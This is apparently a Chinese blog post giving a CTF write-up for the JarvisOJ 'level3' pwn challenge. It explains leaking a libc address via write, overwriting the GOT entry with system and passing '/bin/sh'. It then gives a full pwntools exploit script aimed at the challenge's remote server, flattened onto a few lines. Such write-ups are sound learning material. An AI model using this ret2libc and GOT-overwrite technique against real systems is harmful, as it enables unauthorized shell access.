JarvisOJ——level3

Posted on 2019-11-07 17:44  Volcano3511  阅读(328)  评论(0编辑  收藏  举报

PS:
libc.so中对应的函数的偏移和程序中的got表的偏移是对应的在这种套路的题目中:
主要思路,通过泄露地址和相对偏移,计算systemgot表的位置,然后再一直调用了的函数(题目中是write)的plt表中将指向的got表项改成system的,如果程序还会指执行原本的函数,那么在修改之后就会调用system函数,就达到了我们要的结果
程序在本机调试的时候,要注意用的libc.so的库不一样,所以在写exp的时候,我们要先用我们本机中的libc.so中的数据调试,在进行提交的时候,将相应的偏移量改成题目中给的libc.so的

先拿到文件,可以明显的看到.rar,虽然还有后面的一部分,但是实际上还是rar
我们还是用file看一下

然后我们修改后缀名,解压压缩包,得到一个可执行文件(level3和一个libc-2.19.so)
同时为了便于调试,我们通过ldd查看程序调用的是本机的哪个libc,并且把这个库复制的我们当前文件夹下

在exp中,我们需要将整个程序运行两次——第一次用来泄露信息,第二次进行system的调用(借鉴之前的sctf-pwn200的思路)
第一次用write和read函数来进行地址的泄露和plt表的修改,然后通过在vulnerable函数调用完成之后返回main函数,进行第二次运行,因为在第一次的时候,plt表已经改写成system的地址,所以在write或者read调用的时候实际上调用的是system,所以拿到shell

checksec:
got表是可写的

然后可以看到 got表是可以改写的


整个函数可以改写的部分是最后一栏
这就说明我们如果需要在程序中写一些我们需要的数据,就可以写在这个地方,然后传这个数据的地址,只要覆盖的不是我们需要用到的数据,一般got表是可以写的。

思路:
填满栈——覆盖返回地址——执行write泄露地址——read将write的got表写成system——在我们不需要的got表项中写入system的参数,/bin/sh

准备工作:

填满栈
覆盖ebp
计算偏移

泄露地址,改写got表(system和/bin/sh)

payload1 = 'a'*0x88payload1 += p32(buf)#ebppayload1 += p32(write_plt)#payload1 += p32(pop4)payload1 += '\x01\x00\x00\x00' + p32(write_got_plt) + '\x04\x00\x00\x00'payload1 += p32(buf)#ebppayload1 += p32(read_plt)payload1 += p32(pop4)payload1 += '\x00\x00\x00\x00' + p32(write_got_plt) + '\x04\x00\x00\x00'payload1 += p32(buf)#ebppayload1 += p32(read_plt)payload1 += p32(pop4)payload1 += '\x00\x00\x00\x00' + p32(bin_sh_addr) + '\x08\x00\x00\x00'payload1 += p32(function)#ebp

调用system

payload1 += p32(write_plt)payload1 += p32(write_plt)payload1 += p32(bin_sh_addr)

注意在调用system的时候,要传入参数的地址——在exp文件中可以将需要的参数用io.send()发过去,或者是在io.interactive()中写进去——一样的,本质都是讲输入的写到我们传给system的参数的哪个地址中,并且在执行system的时候,将这个地址的内容当做参数

注意,在一般改写got表中,我们将地址改成另一个地址——只要0x04个字节,但是如果我们要写的是命令的话,长度可能长度就不一样了,所以在实际情况中,我们需要适当的改长度,不然会出错

在连接到远程的时候,注意端口号不要写错了,蠢哭。。。

!/usr/bin/env python# encoding: utf-8from pwn import proc_name = './level3'proc_elf = ELF(proc_name)#io = process(proc_name)io = remote('pwn2.jarvisoj.com',9879)context.log_level = 'debug'#print proc.pidof(io)[0]#raw_input("debug")libc2_system = 0x00040310libc2_write = 0x000DAFE0libc6_system = 0x0003AD80libc6_write = 0x000D5C70read_plt = 0x08048310write_plt = 0x8048340write_got_plt = 0x0804a018#system_got_plt = write_got_plt#system_plt =buf = 0x1111pop4 = 0x08048518function = 0x08048495bin_sh_addr = 0x804a010bin_sh_addr2 = 0x0804A000#payload = bin_sh#payload = payload.ljust(0x88,'a')#payload1 = bin_shpayload1 = 'a'0x88payload1 += p32(buf)#ebppayload1 += p32(write_plt)#payload1 += p32(pop4)payload1 += '\x01\x00\x00\x00' + p32(write_got_plt) + '\x04\x00\x00\x00'payload1 += p32(buf)#ebppayload1 += p32(read_plt)payload1 += p32(pop4)payload1 += '\x00\x00\x00\x00' + p32(write_got_plt) + '\x04\x00\x00\x00'payload1 += p32(buf)#ebppayload1 += p32(read_plt)payload1 += p32(pop4)payload1 += '\x00\x00\x00\x00' + p32(bin_sh_addr) + '\x08\x00\x00\x00'payload1 += p32(function)#ebppayload1 += p32(write_plt)payload1 += p32(write_plt)payload1 += p32(bin_sh_addr)io.recvuntil("Input:\n")io.send(payload1)#io.recvuntil('World!\n')#data = io.recv()#raw_input("debug")leak_addr = io.recv()[-4:]leak_addr_hex = u32(leak_addr)print "leak_addr : "print leak_addr_hexreal_system2 = leak_addr_hex - libc2_write + libc2_systemreal_system6 = leak_addr_hex - libc6_write + libc6_system#print "system addr"real_system_send6 = p32(real_system2)#print real_system_send6#io.sleep(1)#io.clean()io.send(real_system_send6)payload3 = '/bin/sh'+'\x00'io.sendline(payload3)#io.send(p32(real_system2))#io.sendline("cat flag")io.interactive()#io.recv()#io.interactive()